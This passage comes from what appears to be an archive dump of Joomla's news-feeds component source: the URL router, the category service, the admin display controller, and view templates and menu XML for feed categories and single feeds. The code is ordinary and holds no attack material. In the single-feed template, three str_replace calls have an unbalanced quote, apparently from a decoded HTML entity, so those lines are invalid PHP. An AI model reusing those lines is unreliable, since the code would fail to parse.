@param AbstractMenu $menu The menu object to work with * @param CategoryFactoryInterface $categoryFactory The category object * @param DatabaseInterface $db The database object */ public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db) { $this->categoryFactory = $categoryFactory; $this->db = $db; $params = ComponentHelper::getParams('com_newsfeeds'); $this->noIDs = (bool) $params->get('sef_ids'); $categories = new RouterViewConfiguration('categories'); $categories->setKey('id'); $this->registerView($categories); $category = new RouterViewConfiguration('category'); $category->setKey('id')->setParent($categories, 'catid')->setNestable(); $this->registerView($category); $newsfeed = new RouterViewConfiguration('newsfeed'); $newsfeed->setKey('id')->setParent($category, 'catid'); $this->registerView($newsfeed); parent::__construct($app, $menu); $this->attachRule(new MenuRules($this)); $this->attachRule(new StandardRules($this)); $this->attachRule(new NomenuRules($this)); } /** * Method to get the segment(s) for a category * * @param string $id ID of the category to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item */ public function getCategorySegment($id, $query) { $category = $this->getCategories()->get($id); if ($category) { $path = array_reverse($category->getPath(), true); $path[0] = '1:root'; if ($this->noIDs) { foreach ($path as &$segment) { list($id, $segment) = explode(':', $segment, 2); } } return $path; } return []; } /** * Method to get the segment(s) for a category * * @param string $id ID of the category to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item */ public function getCategoriesSegment($id, $query) { return $this->getCategorySegment($id, $query); } /** * Method to get the segment(s) for a newsfeed * * @param string $id ID of the newsfeed to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item */ public function getNewsfeedSegment($id, $query) { if (!strpos($id, ':')) { $id = (int) $id; $dbquery = $this->db->getQuery(true); $dbquery->select($this->db->quoteName('alias')) ->from($this->db->quoteName('#__newsfeeds')) ->where($this->db->quoteName('id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $this->db->setQuery($dbquery); $id .= ':' . $this->db->loadResult(); } if ($this->noIDs) { list($void, $segment) = explode(':', $id, 2); return [$void => $segment]; } return [(int) $id => $id]; } /** * Method to get the id for a category * * @param string $segment Segment to retrieve the ID for * @param array $query The request that is parsed right now * * @return mixed The id of this item or false */ public function getCategoryId($segment, $query) { if (isset($query['id'])) { $category = $this->getCategories(['access' => false])->get($query['id']); if ($category) { foreach ($category->getChildren() as $child) { if ($this->noIDs) { if ($child->alias === $segment) { return $child->id; } } else { if ($child->id == (int) $segment) { return $child->id; } } } } } return false; } /** * Method to get the segment(s) for a category * * @param string $segment Segment to retrieve the ID for * @param array $query The request that is parsed right now * * @return mixed The id of this item or false */ public function getCategoriesId($segment, $query) { return $this->getCategoryId($segment, $query); } /** * Method to get the segment(s) for a newsfeed * * @param string $segment Segment of the newsfeed to retrieve the ID for * @param array $query The request that is parsed right now * * @return mixed The id of this item or false */ public function getNewsfeedId($segment, $query) { if ($this->noIDs) { $dbquery = $this->db->getQuery(true); $dbquery->select($this->db->quoteName('id')) ->from($this->db->quoteName('#__newsfeeds')) ->where( [ $this->db->quoteName('alias') . ' = :segment', $this->db->quoteName('catid') . ' = :id', ] ) ->bind(':segment', $segment) ->bind(':id', $query['id'], ParameterType::INTEGER); $this->db->setQuery($dbquery); return (int) $this->db->loadResult(); } return (int) $segment; } /** * Method to get categories from cache * * @param array $options The options for retrieving categories * * @return CategoryInterface The object containing categories * * @since 4.0.0 */ private function getCategories(array $options = []): CategoryInterface { $key = serialize($options); if (!isset($this->categoryCache[$key])) { $this->categoryCache[$key] = $this->categoryFactory->createCategory($options); } return $this->categoryCache[$key]; } } com_newsfeeds/src/Service/Category.php 0000644 00000001530 15172576512 0014054 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\Service; use Joomla\CMS\Categories\Categories; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeed Component Category Tree * * @since 1.6 */ class Category extends Categories { /** * Constructor * * @param array $options options */ public function __construct($options = []) { $options['table'] = '#__newsfeeds'; $options['extension'] = 'com_newsfeeds'; $options['statefield'] = 'published'; parent::__construct($options); } } com_newsfeeds/src/Controller/DisplayController.php 0000644 00000003636 15172576512 0016504 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_newsfeeds * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Administrator\Controller; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\BaseController; use Joomla\CMS\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeeds display controller. * * @since 1.6 */ class DisplayController extends BaseController { /** * The default view. * * @var string * @since 1.6 */ protected $default_view = 'newsfeeds'; /** * Method to display a view. * * @param boolean $cachable If true, the view output will be cached * @param array $urlparams An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}. * * @return static|boolean This object to support chaining. * * @since 1.5 */ public function display($cachable = false, $urlparams = []) { $view = $this->input->get('view', 'newsfeeds'); $layout = $this->input->get('layout', 'default'); $id = $this->input->getInt('id'); // Check for edit form. if ($view == 'newsfeed' && $layout == 'edit' && !$this->checkEditId('com_newsfeeds.edit.newsfeed', $id)) { // Somehow the person just went to the form - we don't allow that. if (!\count($this->app->getMessageQueue())) { $this->setMessage(Text::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id), 'error'); } $this->setRedirect(Route::_('index.php?option=com_newsfeeds&view=newsfeeds', false)); return false; } return parent::display(); } } com_newsfeeds/tmpl/categories/default.xml 0000644 00000017434 15172576512 0014660 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <metadata> <layout title="COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION"> <help key = "Menu_Item:_List_All_News_Feed_Categories" /> <message> <![CDATA[COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC]]> </message> </layout> <!-- Add fields to the request variables for the layout. --> <fields name="request"> <fieldset name="request" > <field name="id" type="category" label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL" extension="com_newsfeeds" show_root="true" required="true" /> </fieldset> </fields> <!-- Add fields to the parameters object for the layout. --> <fields name="params"> <fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS"> <field name="show_base_description" type="list" label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="categories_description" type="textarea" label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL" cols="25" rows="5" /> <field name="maxLevelcat" type="list" label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL" useglobal="true" validate="options" > <option value="-1">JALL</option> <option value="1">J1</option> <option value="2">J2</option> <option value="3">J3</option> <option value="4">J4</option> <option value="5">J5</option> </field> <field name="show_empty_categories_cat" type="list" label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_subcat_desc_cat" type="list" label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_cat_items_cat" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> </fieldset> <fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"> <field name="show_category_title" type="list" label="JGLOBAL_SHOW_CATEGORY_TITLE" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_description" type="list" label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_description_image" type="list" label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="maxLevel" type="list" label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL" useglobal="true" validate="options" > <option value="-1">JALL</option> <option value="0">JNONE</option> <option value="1">J1</option> <option value="2">J2</option> <option value="3">J3</option> <option value="4">J4</option> <option value="5">J5</option> </field> <field name="show_empty_categories" type="list" label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_subcat_desc" type="list" label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_cat_items" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> </fieldset> <fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"> <field name="filter_field" type="list" label="JGLOBAL_FILTER_FIELD_LABEL" default="" useglobal="true" class="form-select-color-state" validate="options" > <option value="hide">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_pagination_limit" type="list" label="JGLOBAL_DISPLAY_SELECT_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_headings" type="list" label="JGLOBAL_SHOW_HEADINGS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_articles" type="list" label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_link" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_pagination" type="list" label="JGLOBAL_PAGINATION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> <option value="2">JGLOBAL_AUTO</option> </field> <field name="show_pagination_results" type="list" label="JGLOBAL_PAGINATION_RESULTS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> </fieldset> <fieldset name="newsfeed" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL"> <field name="show_feed_image" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_feed_description" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_item_description" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="feed_character_count" type="number" label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL" description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC" filter="integer" useglobal="true" /> </fieldset> </fields> </metadata> com_newsfeeds/tmpl/categories/default.php 0000644 00000001563 15172576512 0014643 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; // Add strings for translations in Javascript. Text::script('JGLOBAL_EXPAND_CATEGORIES'); Text::script('JGLOBAL_COLLAPSE_CATEGORIES'); /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->getRegistry()->addExtensionRegistryFile('com_categories'); $wa->useScript('com_categories.shared-categories-accordion'); ?> <div class="com-newsfeeds-categories categories-list"> <?php echo LayoutHelper::render('joomla.content.categories_default', $this); ?> <?php echo $this->loadTemplate('items'); ?> </div> com_newsfeeds/tmpl/categories/default_items.php 0000644 00000006316 15172576512 0016045 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper; ?> <?php if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) : ?> <?php foreach ($this->items[$this->parent->id] as $id => $item) : ?> <?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?> <div class="com-newsfeeds-categories__items"> <h3 class="page-header item-title"> <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>"> <?php echo $this->escape($item->title); ?> </a> <?php if ($this->params->get('show_cat_items_cat') == 1) : ?> <span class="badge bg-info"> <?php echo Text::_('COM_NEWSFEEDS_NUM_ITEMS'); ?> <?php echo $item->numitems; ?> </span> <?php endif; ?> <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?> <button type="button" id="category-btn-<?php echo $item->id; ?>" data-bs-target="#category-<?php echo $item->id; ?>" data-bs-toggle="collapse" class="btn btn-secondary btn-sm float-end" aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>" > <span class="icon-plus" aria-hidden="true"></span> </button> <?php endif; ?> </h3> <?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?> <?php if ($item->description) : ?> <div class="com-newsfeeds-categories__description category-desc"> <?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_newsfeeds.categories'); ?> </div> <?php endif; ?> <?php endif; ?> <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?> <div class="com-newsfeeds-categories__children collapse fade" id="category-<?php echo $item->id; ?>"> <?php $this->items[$item->id] = $item->getChildren(); ?> <?php $this->parent = $item; ?> <?php $this->maxLevelcat--; ?> <?php echo $this->loadTemplate('items'); ?> <?php $this->parent = $item->getParent(); ?> <?php $this->maxLevelcat++; ?> </div> <?php endif; ?> </div> <?php endif; ?> <?php endforeach; ?> <?php endif; ?> com_newsfeeds/tmpl/newsfeed/default.php 0000644 00000016323 15172576512 0014316 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\FileLayout; use Joomla\CMS\Layout\LayoutHelper; ?> <?php if (!empty($this->msg)) : ?> <?php echo $this->msg; ?> <?php else : ?> <?php $lang = $this->getLanguage(); ?> <?php $myrtl = $this->item->rtl; ?> <?php $direction = ' '; ?> <?php $isRtl = $lang->isRtl(); ?> <?php if ($isRtl && $myrtl == 0) : ?> <?php $direction = ' redirect-rtl'; ?> <?php elseif ($isRtl && $myrtl == 1) : ?> <?php $direction = ' redirect-ltr'; ?> <?php elseif ($isRtl && $myrtl == 2) : ?> <?php $direction = ' redirect-rtl'; ?> <?php elseif ($myrtl == 0) : ?> <?php $direction = ' redirect-ltr'; ?> <?php elseif ($myrtl == 1) : ?> <?php $direction = ' redirect-ltr'; ?> <?php elseif ($myrtl == 2) : ?> <?php $direction = ' redirect-rtl'; ?> <?php endif; ?> <?php $images = json_decode($this->item->images); ?> <div class="com-newsfeeds-newsfeed newsfeed<?php echo $direction; ?>"> <?php if ($this->params->get('display_num')) : ?> <h1 class="<?php echo $direction; ?>"> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1> <?php endif; ?> <h2 class="<?php echo $direction; ?>"> <?php if ($this->item->published == 0) : ?> <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span> <?php endif; ?> <a href="<?php echo $this->item->link; ?>" target="_blank" rel="noopener"> <?php echo str_replace(''', "'", $this->item->name); ?> </a> </h2> <?php if ($this->params->get('show_tags', 1)) : ?> <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?> <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?> <?php endif; ?> <!-- Show Images from Component --> <?php if (isset($images->image_first) && !empty($images->image_first)) : ?> <?php $imgfloat = empty($images->float_first) ? $this->params->get('float_first') : $images->float_first; ?> <div class="com-newsfeeds-newsfeed__first-image img-intro-<?php echo $this->escape($imgfloat); ?>"> <figure> <?php echo LayoutHelper::render( 'joomla.html.image', [ 'src' => $images->image_first, 'alt' => empty($images->image_first_alt) && empty($images->image_first_alt_empty) ? false : $images->image_first_alt, ] ); ?> <?php if ($images->image_first_caption) : ?> <figcaption class="caption"><?php echo $this->escape($images->image_first_caption); ?></figcaption> <?php endif; ?> </figure> </div> <?php endif; ?> <?php if (isset($images->image_second) and !empty($images->image_second)) : ?> <?php $imgfloat = empty($images->float_second) ? $this->params->get('float_second') : $images->float_second; ?> <div class="com-newsfeeds-newsfeed__second-image float-<?php echo $this->escape($imgfloat); ?> item-image"> <figure> <?php echo LayoutHelper::render( 'joomla.html.image', [ 'src' => $images->image_second, 'alt' => empty($images->image_second_alt) && empty($images->image_second_alt_empty) ? false : $images->image_second_alt, ] ); ?> <?php if ($images->image_second_caption) : ?> <figcaption class="caption"><?php echo $this->escape($images->image_second_caption); ?></figcaption> <?php endif; ?> </figure> </div> <?php endif; ?> <!-- Show Description from Component --> <?php echo $this->item->description; ?> <!-- Show Feed's Description --> <?php if ($this->params->get('show_feed_description')) : ?> <div class="com-newsfeeds-newsfeed__description feed-description"> <?php echo str_replace(''', "'", $this->rssDoc->description); ?> </div> <?php endif; ?> <!-- Show Image --> <?php if ($this->rssDoc->image && $this->params->get('show_feed_image')) : ?> <div class="com-newsfeeds-newsfeed__feed-image"> <?php echo LayoutHelper::render( 'joomla.html.image', [ 'src' => $this->rssDoc->image->uri, 'alt' => $this->rssDoc->image->title, ] ); ?> </div> <?php endif; ?> <!-- Show items --> <?php if (!empty($this->rssDoc[0])) : ?> <ol class="com-newsfeeds-newsfeed__items"> <?php for ($i = 0; $i < $this->item->numarticles; $i++) : ?> <?php if (empty($this->rssDoc[$i])) : ?> <?php break; ?> <?php endif; ?> <?php $uri = $this->rssDoc[$i]->uri || !$this->rssDoc[$i]->isPermaLink ? trim($this->rssDoc[$i]->uri) : trim($this->rssDoc[$i]->guid); ?> <?php $uri = !$uri || stripos($uri, 'http') !== 0 ? $this->item->link : $uri; ?> <?php $text = $this->rssDoc[$i]->content !== '' ? trim($this->rssDoc[$i]->content) : ''; ?> <li> <?php if (!empty($uri)) : ?> <h3 class="feed-link"> <a href="<?php echo htmlspecialchars($uri); ?>" target="_blank" rel="noopener"> <?php echo trim($this->rssDoc[$i]->title); ?> </a> </h3> <?php else : ?> <h3 class="feed-link"><?php echo trim($this->rssDoc[$i]->title); ?></h3> <?php endif; ?> <?php if ($this->params->get('show_item_description') && $text !== '') : ?> <div class="feed-item-description"> <?php if ($this->params->get('show_feed_image', 0) == 0) : ?> <?php $text = OutputFilter::stripImages($text); ?> <?php endif; ?> <?php $text = HTMLHelper::_('string.truncate', $text, $this->params->get('feed_character_count')); ?> <?php echo str_replace(''', "'", $text); ?> </div> <?php endif; ?> </li> <?php endfor; ?> </ol> <?php endif; ?> </div> <?php endif; ?> com_newsfeeds/tmpl/newsfeed/default.xml 0000644 00000005024 15172576512 0014323 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <metadata> <layout title="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION"> <help key = "Menu_Item:_Single_News_Feed" /> <message> <![CDATA[COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC]]> </message> </layout> <!-- Add fields to the request variables for the layout. --> <fields name="request"> <fieldset name="request" addfieldprefix="Joomla\Component\Newsfeeds\Administrator\Field" > <field name="id" type="modal_newsfeed" label="COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL" required="true" select="true" new="true" edit="true" clear="true" /> </fieldset> </fields> <!-- Add fields to the parameters object for the layout. --> <fields name="params"> <!-- Basic options. --> <fieldset name="basic" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL"> <field name="show_feed_image" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_feed_description" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_item_description" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_tags" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_TAGS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="feed_character_count" type="number" label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL" description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC" filter="integer" useglobal="true" /> <field name="feed_display_order" type="list" label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL" useglobal="true" validate="options" > <option value="des">JGLOBAL_MOST_RECENT_FIRST</option> <option value="asc">JGLOBAL_OLDEST_FIRST</option> </field> </fieldset> </fields> </metadata> com_newsfeeds/tmpl/category/default.php 0000644 00000005307 15172576512 0014333 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\FileLayout; use Joomla\CMS\Layout\LayoutHelper; $htag = $this->params->get('show_page_heading') ? 'h2' : 'h1'; ?> <div class="com-newsfeeds-category newsfeed-category"> <?php if ($this->params->get('show_page_heading')) : ?> <h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1> <?php endif; ?> <?php if ($this->params->get('show_category_title', 1)) : ?> <<?php echo $htag; ?>> <?php echo HTMLHelper::_('content.prepare', $this->category->title, '', 'com_newsfeeds.category.title'); ?> </<?php echo $htag; ?>> <?php endif; ?> <?php if ($this->params->get('show_tags', 1) && !empty($this->category->tags->itemTags)) : ?> <?php $this->category->tagLayout = new FileLayout('joomla.content.tags'); ?> <?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?> <?php endif; ?> <?php if ($this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?> <div class="com-newsfeeds-category__description category-desc"> <?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> <?php echo LayoutHelper::render( 'joomla.html.image', [ 'src' => $this->category->getParams()->get('image'), 'alt' => empty($this->category->getParams()->get('image_alt')) && empty($this->category->getParams()->get('image_alt_empty')) ? false : $this->category->getParams()->get('image_alt'), ] ); ?> <?php endif; ?> <?php if ($this->params->get('show_description') && $this->category->description) : ?> <?php echo HTMLHelper::_('content.prepare', $this->category->description, '', 'com_newsfeeds.category'); ?> <?php endif; ?> <div class="clr"></div> </div> <?php endif; ?> <?php echo $this->loadTemplate('items'); ?> <?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?> <div class="com-newsfeeds-category__children cat-children"> <h3> <?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?> </h3> <?php echo $this->loadTemplate('children'); ?> </div> <?php endif; ?> </div> com_newsfeeds/tmpl/category/default.xml 0000644 00000014274 15172576512 0014347 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <metadata> <layout title="COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION"> <help key = "Menu_Item:_List_News_Feeds_in_a_Category" /> <message> <![CDATA[COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC]]> </message> </layout> <!-- Add fields to the request variables for the layout. --> <fields name="request"> <fieldset name="request" addfieldprefix="Joomla\Component\Categories\Administrator\Field" > <field name="id" type="modal_category" label="JCATEGORY" extension="com_newsfeeds" required="true" select="true" new="true" edit="true" clear="true" /> </fieldset> </fields> <!-- Add fields to the parameters object for the layout. --> <fields name="params"> <fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"> <field name="show_category_title" type="list" label="JGLOBAL_SHOW_CATEGORY_TITLE" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_description" type="list" label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_description_image" type="list" label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="maxLevel" type="list" label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL" useglobal="true" validate="options" > <option value="-1">JALL</option> <option value="0">JNONE</option> <option value="1">J1</option> <option value="2">J2</option> <option value="3">J3</option> <option value="4">J4</option> <option value="5">J5</option> </field> <field name="show_empty_categories" type="list" label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_subcat_desc" type="list" label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_cat_items" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> </fieldset> <fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"> <field name="filter_field" type="list" label="JGLOBAL_FILTER_FIELD_LABEL" default="" useglobal="true" class="form-select-color-state" validate="options" > <option value="hide">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_pagination_limit" type="list" label="JGLOBAL_DISPLAY_SELECT_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_articles" type="list" label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_link" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_pagination" type="list" label="JGLOBAL_PAGINATION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> <option value="2">JGLOBAL_AUTO</option> </field> <field name="show_pagination_results" type="list" label="JGLOBAL_PAGINATION_RESULTS_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> </fieldset> <fieldset name="newsfeed" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL"> <field name="show_feed_image" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_feed_description" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="show_item_description" type="list" label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL" useglobal="true" class="form-select-color-state" validate="options" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="feed_character_count" type="number" label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL" 